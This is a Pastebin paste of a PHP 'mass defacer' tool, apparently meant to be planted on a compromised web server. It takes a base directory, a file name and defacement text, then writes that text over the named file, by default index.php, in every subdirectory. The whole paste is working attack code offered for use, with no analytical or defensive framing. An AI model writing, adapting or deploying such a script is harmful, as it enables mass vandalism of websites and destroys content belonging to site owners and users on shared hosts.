Advertisement
Guest User

Mass

a guest
Feb 12th, 2016
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.94 KB | None | 0 0
  1. <?php
  2. echo "<title>[!] SIMPLE MASS DEFACE [!]</title>";
  3. echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet'  type='text/css'>";
  4. echo"<style>
  5. .brudul {
  6. border:2px solid#ddd;
  7. background:#222;
  8. color:#ddd;
  9. font-weight:bold;
  10. padding:5px;
  11. text-align:center;
  12. }
  13. .brudul2 {
  14. border:2px solid#ddd;
  15. color:#222;
  16. font-weight:bold;
  17. padding:5px;
  18. }
  19. </style>
  20. <div class='brudul' style='margin-bottom:3px'>SIMPLE MASS DEFACER</div>";
  21. ?>
  22.  
  23. <?
  24. $server=$_SERVER['SERVER_ADDR'];
  25. echo "<font color='#222'>SERVER IP : </font>".$server;
  26. echo "<center><form method='POST'>";
  27. echo "<font color='#222'>Base Dir : </font><input type='text' class='brudul2' name='base_dir' size='45' value='".getcwd ()."'><br><br>";
  28. echo "<font color='#222'>File Name :</font> <input type='text' class='brudul2' name='file_name' value='index.php'><br><br>";
  29. echo "<font color='#222'>Defacement Script :</font> <br><textarea class='brudul2' style='width: 785px; height: 330px;' name='index'>//Simpen Script Hacked Ente Di Mari -</textarea><br>";
  30. echo "<input class='brudul' type='submit' value='Start Mass !!' style='margin-top:2px'></form></center>";
  31.     echo "<div class='brudul2'>";
  32. if (isset ($_POST['base_dir']))
  33. {
  34.     if (!file_exists ($_POST['base_dir']))
  35.         die ($_POST['base_dir']." Not Found !<br>");
  36.  
  37.     if (!is_dir ($_POST['base_dir']))
  38.         die ($_POST['base_dir']." Is Not A Directory !<br>");
  39.  
  40.     @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  41.  
  42.     $files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
  43.  
  44.     foreach ($files as $file):
  45.         if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  46.         {
  47.             $index = getcwd ()."/".$file."/".$_POST['file_name'];
  48.             if (file_put_contents ($index, $_POST['index']))
  49.            
  50. echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: green'>OK</span><br>";
  51.         }
  52.     endforeach;
  53. }
  54. echo "</div>";
  55. echo "<div class='brudul' style='margin-top:3px'>CODER BY WILDAN IZZUDIN</div>";
  56. echo "</body>";
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement